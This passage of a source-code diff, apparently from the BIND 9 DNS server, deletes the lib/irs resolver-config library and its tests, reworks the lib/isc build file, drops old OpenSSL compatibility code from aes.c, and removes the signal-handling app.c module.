-	dns_rbtnodechain_invalidate(&chain);
-	if (sub != NULL) {
-		*sub = tresult;
-	}
+	SET_IF_NOT_NULL(sub, tresult);
 
 	return (result);
 }
-
-/*
- * Decrement the loads_pending counter; when counter reaches
- * zero, call the loaddone callback that was initially set by
- * dns_zt_asyncload().
- */
-static isc_result_t
-doneloading(dns_zt_t *zt, dns_zone_t *zone, isc_task_t *task) {
-	UNUSED(zone);
-	UNUSED(task);
-
-	REQUIRE(VALID_ZT(zt));
-
-	if (isc_refcount_decrement(&zt->loads_pending) == 1) {
-		call_loaddone(zt);
-	}
-
-	if (isc_refcount_decrement(&zt->references) == 1) {
-		zt_destroy(zt);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-/***
- *** Private
- ***/
-
-static void
-auto_detach(void *data, void *arg) {
-	dns_zone_t *zone = data;
-
-	UNUSED(arg);
-	dns_zone_detach(&zone);
-}
diff --git a/lib/irs/Makefile.am b/lib/irs/Makefile.am
deleted file mode 100644
index eac972b26d..0000000000
--- a/lib/irs/Makefile.am
+++ /dev/null
@@ -1,31 +0,0 @@
-include $(top_srcdir)/Makefile.top
-
-lib_LTLIBRARIES = libirs.la
-
-libirs_ladir = $(includedir)/irs
-libirs_la_HEADERS =		\
-	include/irs/resconf.h
-
-libirs_la_SOURCES =		\
-	$(libirs_la_HEADERS)	\
-	resconf.c
-
-libirs_la_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(LIBISC_CFLAGS)	\
-	$(LIBDNS_CFLAGS)	\
-	$(LIBISCCFG_CFLAGS)	\
-	$(LIBIRS_CFLAGS)
-
-libirs_la_LIBADD =		\
-	$(LIBISC_LIBS)		\
-	$(LIBDNS_LIBS)		\
-	$(LIBISCCFG_LIBS)
-
-libirs_la_LDFLAGS =		\
-	$(AM_LDFLAGS)		\
-	-release "$(PACKAGE_VERSION)"
-
-if HAVE_CMOCKA
-SUBDIRS = tests
-endif
diff --git a/lib/irs/include/.clang-format b/lib/irs/include/.clang-format
deleted file mode 120000
index 0e62f72bcf..0000000000
--- a/lib/irs/include/.clang-format
+++ /dev/null
@@ -1 +0,0 @@
-../../../.clang-format.headers
\ No newline at end of file
diff --git a/lib/irs/tests/Makefile.am b/lib/irs/tests/Makefile.am
deleted file mode 100644
index d256663853..0000000000
--- a/lib/irs/tests/Makefile.am
+++ /dev/null
@@ -1,21 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)	\
-	$(LIBIRS_CFLAGS)
-
-LDADD +=			\
-	$(LIBISC_LIBS)		\
-	$(LIBIRS_LIBS)
-
-check_PROGRAMS = \
-	resconf_test
-
-TESTS = $(check_PROGRAMS)
-
-unit-local: check
-
-EXTRA_DIST = testdata
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/irs/tests/resconf_test.c b/lib/irs/tests/resconf_test.c
deleted file mode 100644
index 8ca9762bff..0000000000
--- a/lib/irs/tests/resconf_test.c
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/mem.h>
-#include <isc/util.h>
-
-#include <irs/resconf.h>
-
-static isc_mem_t *mctx = NULL;
-
-static void
-setup_test(void) {
-	isc_mem_create(&mctx);
-
-	/*
-	 * the caller might run from another directory, but tests
-	 * that access test data files must first chdir to the proper
-	 * location.
-	 */
-	assert_return_code(chdir(TESTS_DIR), 0);
-}
-
-/* test irs_resconf_load() */
-static void
-irs_resconf_load_test(void **state) {
-	isc_result_t result;
-	irs_resconf_t *resconf = NULL;
-	unsigned int i;
-	struct {
-		const char *file;
-		isc_result_t loadres;
-		isc_result_t (*check)(irs_resconf_t *resconf);
-		isc_result_t checkres;
-	} tests[] = {
-		{ "testdata/domain.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/nameserver-v4.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/nameserver-v6.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/nameserver-v6-scoped.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options-debug.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options-ndots.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options-timeout.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options-unknown.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/options-bad-ndots.conf", ISC_R_RANGE, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/options-empty.conf", ISC_R_UNEXPECTEDEND, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/port.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/resolv.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/search.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/sortlist-v4.conf", ISC_R_SUCCESS, NULL,
-		  ISC_R_SUCCESS },
-		{ "testdata/timeout.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS },
-		{ "testdata/unknown.conf", ISC_R_SUCCESS, NULL, ISC_R_SUCCESS }
-	};
-
-	UNUSED(state);
-
-	setup_test();
-
-	for (i = 0; i < sizeof(tests) / sizeof(tests[1]); i++) {
-		result = irs_resconf_load(mctx, tests[i].file, &resconf);
-		if (result != tests[i].loadres) {
-			fail_msg("# unexpected result %s loading %s",
-				 isc_result_totext(result), tests[i].file);
-		}
-
-		if (result == ISC_R_SUCCESS && resconf == NULL) {
-			fail_msg("# NULL on success loading %s", tests[i].file);
-		} else if (result != ISC_R_SUCCESS && resconf != NULL) {
-			fail_msg("# non-NULL on failure loading %s",
-				 tests[i].file);
-		}
-
-		if (resconf != NULL && tests[i].check != NULL) {
-			result = (tests[i].check)(resconf);
-			if (result != tests[i].checkres) {
-				fail_msg("# unexpected result %s loading %s",
-					 isc_result_totext(result),
-					 tests[i].file);
-			}
-		}
-		if (resconf != NULL) {
-			irs_resconf_destroy(&resconf);
-		}
-	}
-
-	isc_mem_detach(&mctx);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(irs_resconf_load_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/irs/tests/testdata/resolv.conf b/lib/irs/tests/testdata/resolv.conf
deleted file mode 100644
index 5b60b3b508..0000000000
--- a/lib/irs/tests/testdata/resolv.conf
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-port 5300
-nameserver 10.0.0.1
-nameserver 2001:DB8::1
-search example.com example.net
-sortlist 130.155.160.0/255.255.240.0 130.155.0.0
-timeout 10
-unknown directive
-options unknown debug timeout:1 ndots:2
diff --git a/lib/isc/.gitignore b/lib/isc/.gitignore
index 734ffcd9b4..d71e842664 100644
--- a/lib/isc/.gitignore
+++ b/lib/isc/.gitignore
@@ -1 +1,2 @@
 !netdb.h
+/probes.h
diff --git a/lib/isc/Makefile.am b/lib/isc/Makefile.am
index 685398e062..0f692d32c6 100644
--- a/lib/isc/Makefile.am
+++ b/lib/isc/Makefile.am
@@ -6,72 +6,65 @@ libisc_ladir = $(includedir)/isc
 libisc_la_HEADERS =			\
 	include/isc/aes.h		\
 	include/isc/align.h		\
-	include/isc/app.h		\
+	include/isc/ascii.h		\
 	include/isc/assertions.h	\
-	include/isc/astack.h		\
+	include/isc/async.h		\
 	include/isc/atomic.h		\
 	include/isc/attributes.h	\
 	include/isc/backtrace.h		\
 	include/isc/barrier.h		\
 	include/isc/base32.h		\
 	include/isc/base64.h		\
-	include/isc/bind9.h		\
 	include/isc/buffer.h		\
-	include/isc/cmocka.h		\
 	include/isc/commandline.h	\
 	include/isc/condition.h		\
 	include/isc/counter.h		\
 	include/isc/crc64.h		\
-	include/isc/deprecated.h	\
 	include/isc/dir.h		\
+	include/isc/dnsstream.h		\
 	include/isc/endian.h		\
+	include/isc/entropy.h		\
 	include/isc/errno.h		\
 	include/isc/error.h		\
-	include/isc/event.h		\
-	include/isc/eventclass.h	\
 	include/isc/file.h		\
+	include/isc/fips.h		\
 	include/isc/formatcheck.h	\
-	include/isc/fsaccess.h		\
 	include/isc/fuzz.h		\
-	include/isc/glob.h		\
+	include/isc/getaddresses.h	\
 	include/isc/hash.h		\
+	include/isc/hashmap.h		\
 	include/isc/heap.h		\
 	include/isc/hex.h		\
+	include/isc/histo.h		\
 	include/isc/hmac.h		\
-	include/isc/hp.h		\
 	include/isc/ht.h		\
 	include/isc/httpd.h		\
 	include/isc/interfaceiter.h	\
 	include/isc/iterated_hash.h	\
+	include/isc/job.h		\
 	include/isc/lang.h		\
 	include/isc/lex.h		\
-	include/isc/lib.h		\
-	include/isc/likely.h		\
 	include/isc/list.h		\
 	include/isc/log.h		\
+	include/isc/loop.h		\
 	include/isc/magic.h		\
 	include/isc/managers.h		\
 	include/isc/md.h		\
 	include/isc/mem.h		\
 	include/isc/meminfo.h		\
 	include/isc/mutex.h		\
-	include/isc/mutexatomic.h	\
 	include/isc/mutexblock.h	\
 	include/isc/net.h		\
 	include/isc/netaddr.h		\
-	include/isc/netdb.h		\
 	include/isc/netmgr.h		\
 	include/isc/netscope.h		\
 	include/isc/nonce.h		\
-	include/isc/offset.h		\
 	include/isc/once.h		\
 	include/isc/os.h		\
+	include/isc/overflow.h		\
 	include/isc/parseint.h		\
-	include/isc/platform.h		\
-	include/isc/pool.h		\
+	include/isc/pause.h		\
 	include/isc/portset.h		\
-	include/isc/print.h		\
-	include/isc/queue.h		\
 	include/isc/quota.h		\
 	include/isc/radix.h		\
 	include/isc/random.h		\
@@ -79,158 +72,140 @@ libisc_la_HEADERS =			\
 	include/isc/refcount.h		\
 	include/isc/regex.h		\
 	include/isc/region.h		\
-	include/isc/resource.h		\
 	include/isc/result.h		\
-	include/isc/resultclass.h	\
 	include/isc/rwlock.h		\
 	include/isc/safe.h		\
 	include/isc/serial.h		\
+	include/isc/signal.h		\
 	include/isc/siphash.h		\
 	include/isc/sockaddr.h		\
-	include/isc/socket.h		\
-	include/isc/stat.h		\
+	include/isc/spinlock.h		\
 	include/isc/stats.h		\
-	include/isc/stdatomic.h		\
 	include/isc/stdio.h		\
 	include/isc/stdtime.h		\
 	include/isc/strerr.h		\
 	include/isc/string.h		\
 	include/isc/symtab.h		\
 	include/isc/syslog.h		\
-	include/isc/task.h		\
-	include/isc/taskpool.h		\
 	include/isc/thread.h		\
+	include/isc/tid.h		\
 	include/isc/time.h		\
 	include/isc/timer.h		\
 	include/isc/tls.h		\
 	include/isc/tm.h		\
 	include/isc/types.h		\
+	include/isc/urcu.h		\
 	include/isc/url.h		\
 	include/isc/utf8.h		\
-	include/isc/util.h
-
-pk11dir = $(includedir)/pk11
-pk11_HEADERS =				\
-	include/pk11/constants.h	\
-	include/pk11/internal.h		\
-	include/pk11/pk11.h		\
-	include/pk11/result.h		\
-	include/pk11/site.h
-
-pkcs11dir = $(includedir)/pkcs11
-pkcs11_HEADERS =		\
-	include/pkcs11/pkcs11.h
+	include/isc/util.h		\
+	include/isc/uv.h		\
+	include/isc/xml.h		\
+	include/isc/work.h
 
 libisc_la_SOURCES =		\
 	$(libisc_la_HEADERS)	\
-	$(pk11_HEADERS)		\
-	$(pkcs11_HEADERS)	\
-	netmgr/http.c		\
 	netmgr/netmgr-int.h	\
 	netmgr/netmgr.c		\
+	netmgr/socket.c		\
+	netmgr/streamdns.c	\
 	netmgr/tcp.c		\
-	netmgr/tcpdns.c		\
-	netmgr/tlsdns.c		\
+	netmgr/timer.c		\
 	netmgr/tlsstream.c	\
 	netmgr/udp.c		\
-	netmgr/uv-compat.c	\
-	netmgr/uv-compat.h	\
-	netmgr/uverr2result.c	\
 	aes.c			\
-	app.c			\
+	ascii.c			\
 	assertions.c		\
-	astack.c		\
+	async.c			\
+	async_p.h		\
 	backtrace.c		\
 	base32.c		\
 	base64.c		\
-	bind9.c			\
-	buffer.c		\
 	commandline.c		\
 	condition.c		\
 	counter.c		\
 	crc64.c			\
 	dir.c			\
 	entropy.c		\
-	entropy_private.h	\
 	errno.c			\
 	errno2result.c		\
 	errno2result.h		\
 	error.c			\
-	event.c			\
 	file.c			\
-	fsaccess.c		\
-	fsaccess_common.c	\
-	fsaccess_common_p.h	\
-	glob.c			\
+	fips.c			\
+	getaddresses.c		\
 	hash.c			\
+	hashmap.c		\
 	heap.c			\
 	hex.c			\
+	histo.c			\
 	hmac.c			\
-	hp.c			\
 	ht.c			\
 	httpd.c			\
 	interfaceiter.c		\
 	iterated_hash.c		\
+	jemalloc_shim.h		\
+	job.c			\
+	job_p.h			\
 	lex.c			\
 	lib.c			\
 	log.c			\
+	loop.c			\
+	loop_p.h		\
 	managers.c		\
 	md.c			\
 	mem.c			\
 	mem_p.h			\
 	meminfo.c		\
 	mutex.c			\
+	mutex_p.h		\
 	mutexblock.c		\
 	net.c			\
 	netaddr.c		\
-	netmgr_p.h		\
 	netscope.c		\
 	nonce.c			\
 	openssl_shim.c		\
 	openssl_shim.h		\
 	os.c			\
+	os_p.h			\
 	parseint.c		\
-	pk11.c			\
-	pk11_api.c		\
-	pk11_result.c		\
-	pool.c			\
+	picohttpparser.c	\
+	picohttpparser.h	\
 	portset.c		\
-	queue.c			\
+	probes.d		\
 	quota.c			\
 	radix.c			\
 	random.c		\
 	ratelimiter.c		\
 	regex.c			\
 	region.c		\
-	resource.c		\
 	result.c		\
-	rwlock.c		\
 	safe.c			\
 	serial.c		\
+	signal.c		\
 	siphash.c		\
 	sockaddr.c		\
-	socket.c		\
-	socket_p.h		\
 	stats.c			\
 	stdio.c			\
 	stdtime.c		\
 	string.c		\
 	symtab.c		\
 	syslog.c		\
-	task.c			\
-	task_p.h		\
-	taskpool.c		\
 	thread.c		\
+	tid.c			\
 	time.c			\
 	timer.c			\
-	timer_p.h		\
 	tls.c			\
-	tls_p.h			\
 	tm.c			\
-	trampoline.c		\
-	trampoline_p.h		\
 	url.c			\
-	utf8.c
+	utf8.c			\
+	uv.c			\
+	xml.c			\
+	work.c
+
+if USE_ISC_RWLOCK
+libisc_la_SOURCES +=		\
+	rwlock.c
+endif USE_ISC_RWLOCK
 
 libisc_la_CPPFLAGS =		\
 	$(AM_CPPFLAGS)		\
@@ -248,6 +223,14 @@ libisc_la_LIBADD =		\
 	$(OPENSSL_LIBS)		\
 	$(ZLIB_LIBS)
 
+if HAVE_JEMALLOC
+libisc_la_CPPFLAGS +=		\
+	$(JEMALLOC_CFLAGS)
+
+libisc_la_LIBADD +=		\
+	$(JEMALLOC_LIBS)
+endif HAVE_JEMALLOC
+
 if HAVE_JSON_C
 libisc_la_CPPFLAGS +=		\
 	$(JSON_C_CFLAGS)
@@ -256,6 +239,17 @@ libisc_la_LIBADD +=		\
 	$(JSON_C_LIBS)
 endif HAVE_JSON_C
 
+if HAVE_LIBNGHTTP2
+libisc_la_SOURCES +=		\
+	netmgr/http.c
+
+libisc_la_CPPFLAGS +=		\
+	$(LIBNGHTTP2_CFLAGS)
+
+libisc_la_LIBADD +=		\
+	$(LIBNGHTTP2_LIBS)
+endif
+
 if HAVE_LIBXML2
 libisc_la_CPPFLAGS +=		\
 	$(LIBXML2_CFLAGS)
@@ -264,6 +258,11 @@ libisc_la_LIBADD +=		\
 	$(LIBXML2_LIBS)
 endif HAVE_LIBXML2
 
-if HAVE_CMOCKA
-SUBDIRS = tests
+if !HAVE_SYSTEMTAP
+DTRACE_DEPS = libisc_la-rwlock.lo libisc_la-job.lo
+DTRACE_OBJS = .libs/libisc_la-rwlock.$(OBJEXT) .libs/libisc_la-job.$(OBJEXT)
 endif
+
+include $(top_srcdir)/Makefile.dtrace
+
+libisc_la_LIBADD += $(DTRACE_LIBADD)
diff --git a/lib/isc/aes.c b/lib/isc/aes.c
index 2ad036184f..d136bd4857 100644
--- a/lib/isc/aes.c
+++ b/lib/isc/aes.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,24 +18,13 @@
 
 #include <isc/aes.h>
 #include <isc/assertions.h>
-#include <isc/platform.h>
 #include <isc/string.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-#define EVP_CIPHER_CTX_new()   &(_context), EVP_CIPHER_CTX_init(&_context)
-#define EVP_CIPHER_CTX_free(c) RUNTIME_CHECK(EVP_CIPHER_CTX_cleanup(c) == 1)
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
-
 void
 isc_aes128_crypt(const unsigned char *key, const unsigned char *in,
 		 unsigned char *out) {
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-	EVP_CIPHER_CTX _context;
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
 	EVP_CIPHER_CTX *c;
 	int len;
 
@@ -50,10 +41,6 @@ isc_aes128_crypt(const unsigned char *key, const unsigned char *in,
 void
 isc_aes192_crypt(const unsigned char *key, const unsigned char *in,
 		 unsigned char *out) {
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-	EVP_CIPHER_CTX _context;
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
 	EVP_CIPHER_CTX *c;
 	int len;
 
@@ -70,10 +57,6 @@ isc_aes192_crypt(const unsigned char *key, const unsigned char *in,
 void
 isc_aes256_crypt(const unsigned char *key, const unsigned char *in,
 		 unsigned char *out) {
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-	EVP_CIPHER_CTX _context;
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
 	EVP_CIPHER_CTX *c;
 	int len;
 
diff --git a/lib/isc/app.c b/lib/isc/app.c
deleted file mode 100644
index 50353705b2..0000000000
--- a/lib/isc/app.c
+++ /dev/null
@@ -1,453 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <errno.h>
-#include <inttypes.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#include <isc/app.h>
-#include <isc/atomic.h>
-#include <isc/condition.h>
-#include <isc/event.h>
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/platform.h>
-#include <isc/strerr.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/thread.h>
-#include <isc/time.h>
-#include <isc/util.h>
-
-/*%
- * For BIND9 internal applications built with threads, we use a single app
- * context and let multiple worker, I/O, timer threads do actual jobs.
- */
-
-static isc_thread_t blockedthread;
-static atomic_bool is_running = ATOMIC_VAR_INIT(0);
-
-/*
- * The application context of this module.
- */
-#define APPCTX_MAGIC	ISC_MAGIC('A', 'p', 'c', 'x')
-#define VALID_APPCTX(c) ISC_MAGIC_VALID(c, APPCTX_MAGIC)
-
-struct isc_appctx {
-	unsigned int magic;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	isc_eventlist_t on_run;
-	atomic_bool shutdown_requested;
-	atomic_bool running;
-	atomic_bool want_shutdown;
-	atomic_bool want_reload;
-	atomic_bool blocked;
-	isc_mutex_t readylock;
-	isc_condition_t ready;
-};
-
-static isc_appctx_t isc_g_appctx;
-
-static void
-handle_signal(int sig, void (*handler)(int)) {
-	struct sigaction sa;
-
-	memset(&sa, 0, sizeof(sa));
-	sa.sa_handler = handler;
-
-	if (sigfillset(&sa.sa_mask) != 0 || sigaction(sig, &sa, NULL) < 0) {
-		char strbuf[ISC_STRERRORSIZE];
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_error_fatal(__FILE__, __LINE__,
-				"handle_signal() %d setup: %s", sig, strbuf);
-	}
-}
-
-isc_result_t
-isc_app_ctxstart(isc_appctx_t *ctx) {
-	REQUIRE(VALID_APPCTX(ctx));
-
-	/*
-	 * Start an ISC library application.
-	 */
-
-	isc_mutex_init(&ctx->lock);
-
-	isc_mutex_init(&ctx->readylock);
-	isc_condition_init(&ctx->ready);
-
-	ISC_LIST_INIT(ctx->on_run);
-
-	atomic_init(&ctx->shutdown_requested, false);
-	atomic_init(&ctx->running, false);
-	atomic_init(&ctx->want_shutdown, false);
-	atomic_init(&ctx->want_reload, false);
-	atomic_init(&ctx->blocked, false);
-
-	int presult;
-	sigset_t sset;
-	char strbuf[ISC_STRERRORSIZE];
-
-	/*
-	 * Always ignore SIGPIPE.
-	 */
-	handle_signal(SIGPIPE, SIG_IGN);
-
-	handle_signal(SIGHUP, SIG_DFL);
-	handle_signal(SIGTERM, SIG_DFL);
-	handle_signal(SIGINT, SIG_DFL);
-
-	/*
-	 * Block SIGHUP, SIGINT, SIGTERM.
-	 *
-	 * If isc_app_start() is called from the main thread before any other
-	 * threads have been created, then the pthread_sigmask() call below
-	 * will result in all threads having SIGHUP, SIGINT and SIGTERM
-	 * blocked by default, ensuring that only the thread that calls
-	 * sigwait() for them will get those signals.
-	 */
-	if (sigemptyset(&sset) != 0 || sigaddset(&sset, SIGHUP) != 0 ||
-	    sigaddset(&sset, SIGINT) != 0 || sigaddset(&sset, SIGTERM) != 0)
-	{
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		isc_error_fatal(__FILE__, __LINE__,
-				"isc_app_start() sigsetops: %s", strbuf);
-	}
-	presult = pthread_sigmask(SIG_BLOCK, &sset, NULL);
-	if (presult != 0) {
-		strerror_r(presult, strbuf, sizeof(strbuf));
-		isc_error_fatal(__FILE__, __LINE__,
-				"isc_app_start() pthread_sigmask: %s", strbuf);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_app_start(void) {
-	isc_g_appctx.magic = APPCTX_MAGIC;
-	isc_g_appctx.mctx = NULL;
-	/* The remaining members will be initialized in ctxstart() */
-
-	return (isc_app_ctxstart(&isc_g_appctx));
-}
-
-isc_result_t
-isc_app_onrun(isc_mem_t *mctx, isc_task_t *task, isc_taskaction_t action,
-	      void *arg) {
-	return (isc_app_ctxonrun(&isc_g_appctx, mctx, task, action, arg));
-}
-
-isc_result_t
-isc_app_ctxonrun(isc_appctx_t *ctx, isc_mem_t *mctx, isc_task_t *task,
-		 isc_taskaction_t action, void *arg) {
-	isc_event_t *event;
-	isc_task_t *cloned_task = NULL;
-
-	if (atomic_load_acquire(&ctx->running)) {
-		return (ISC_R_ALREADYRUNNING);
-	}
-
-	/*
-	 * Note that we store the task to which we're going to send the event
-	 * in the event's "sender" field.
-	 */
-	isc_task_attach(task, &cloned_task);
-	event = isc_event_allocate(mctx, cloned_task, ISC_APPEVENT_SHUTDOWN,
-				   action, arg, sizeof(*event));
-
-	LOCK(&ctx->lock);
-	ISC_LINK_INIT(event, ev_link);
-	ISC_LIST_APPEND(ctx->on_run, event, ev_link);
-	UNLOCK(&ctx->lock);
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_app_ctxrun(isc_appctx_t *ctx) {
-	isc_event_t *event, *next_event;
-	isc_task_t *task;
-
-	REQUIRE(VALID_APPCTX(ctx));
-
-	if (atomic_compare_exchange_strong_acq_rel(&ctx->running,
-						   &(bool){ false }, true))
-	{
-		/*
-		 * Post any on-run events (in FIFO order).
-		 */
-		LOCK(&ctx->lock);
-		for (event = ISC_LIST_HEAD(ctx->on_run); event != NULL;
-		     event = next_event) {
-			next_event = ISC_LIST_NEXT(event, ev_link);
-			ISC_LIST_UNLINK(ctx->on_run, event, ev_link);
-			task = event->ev_sender;
-			event->ev_sender = NULL;
-			isc_task_sendanddetach(&task, &event);
-		}
-		UNLOCK(&ctx->lock);
-	}
-
-	/*
-	 * BIND9 internal tools using multiple contexts do not
-	 * rely on signal. */
-	if (isc_bind9 && ctx != &isc_g_appctx) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/*
-	 * There is no danger if isc_app_shutdown() is called before we
-	 * wait for signals.  Signals are blocked, so any such signal will
-	 * simply be made pending and we will get it when we call
-	 * sigwait().
-	 */
-	while (!atomic_load_acquire(&ctx->want_shutdown)) {
-		if (isc_bind9) {
-			sigset_t sset;
-			int sig;
-			/*
-			 * BIND9 internal; single context:
-			 * Wait for SIGHUP, SIGINT, or SIGTERM.
-			 */
-			if (sigemptyset(&sset) != 0 ||
-			    sigaddset(&sset, SIGHUP) != 0 ||
-			    sigaddset(&sset, SIGINT) != 0 ||
-			    sigaddset(&sset, SIGTERM) != 0)
-			{
-				char strbuf[ISC_STRERRORSIZE];
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				isc_error_fatal(__FILE__, __LINE__,
-						"isc_app_run() sigsetops: %s",
-						strbuf);
-			}
-
-			if (sigwait(&sset, &sig) == 0) {
-				switch (sig) {
-				case SIGINT:
-				case SIGTERM:
-					atomic_store_release(
-						&ctx->want_shutdown, true);
-					break;
-				case SIGHUP:
-					atomic_store_release(&ctx->want_reload,
-							     true);
-					break;
-				default:
-					INSIST(0);
-					ISC_UNREACHABLE();
-				}
-			}
-		} else {
-			/*
-			 * External, or BIND9 using multiple contexts:
-			 * wait until woken up.
-			 */
-			if (atomic_load_acquire(&ctx->want_shutdown)) {
-				break;
-			}
-			if (!atomic_load_acquire(&ctx->want_reload)) {
-				LOCK(&ctx->readylock);
-				WAIT(&ctx->ready, &ctx->readylock);
-				UNLOCK(&ctx->readylock);
-			}
-		}
-		if (atomic_compare_exchange_strong_acq_rel(
-			    &ctx->want_reload, &(bool){ true }, false))
-		{
-			return (ISC_R_RELOAD);
-		}
-
-		if (atomic_load_acquire(&ctx->want_shutdown) &&
-		    atomic_load_acquire(&ctx->blocked))
-		{
-			exit(1);
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-isc_app_run(void) {
-	isc_result_t result;
-
-	REQUIRE(atomic_compare_exchange_strong_acq_rel(&is_running,
-						       &(bool){ false }, true));
-	result = isc_app_ctxrun(&isc_g_appctx);
-	atomic_store_release(&is_running, false);
-
-	return (result);
-}
-
-bool
-isc_app_isrunning(void) {
-	return (atomic_load_acquire(&is_running));
-}
-
-void
-isc_app_ctxshutdown(isc_appctx_t *ctx) {
-	REQUIRE(VALID_APPCTX(ctx));
-
-	REQUIRE(atomic_load_acquire(&ctx->running));
-
-	/* If ctx->shutdown_requested == true, we are already shutting
-	 * down and we want to just bail out.
-	 */
-	if (atomic_compare_exchange_strong_acq_rel(&ctx->shutdown_requested,
-						   &(bool){ false }, true))
-	{
-		if (isc_bind9 && ctx != &isc_g_appctx) {
-			/* BIND9 internal, but using multiple contexts */
-			atomic_store_release(&ctx->want_shutdown, true);
-		} else if (isc_bind9) {
-			/* BIND9 internal, single context */
-			if (kill(getpid(), SIGTERM) < 0) {
-				char strbuf[ISC_STRERRORSIZE];
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				isc_error_fatal(__FILE__, __LINE__,
-						"isc_app_shutdown() "
-						"kill: %s",
-						strbuf);
-			}
-		} else {
-			/* External, multiple contexts */
-			atomic_store_release(&ctx->want_shutdown, true);
-			SIGNAL(&ctx->ready);
-		}
-	}
-}
-
-void
-isc_app_shutdown(void) {
-	isc_app_ctxshutdown(&isc_g_appctx);
-}
-
-void
-isc_app_ctxsuspend(isc_appctx_t *ctx) {
-	REQUIRE(VALID_APPCTX(ctx));
-
-	REQUIRE(atomic_load(&ctx->running));
-
-	/*
-	 * Don't send the reload signal if we're shutting down.
-	 */
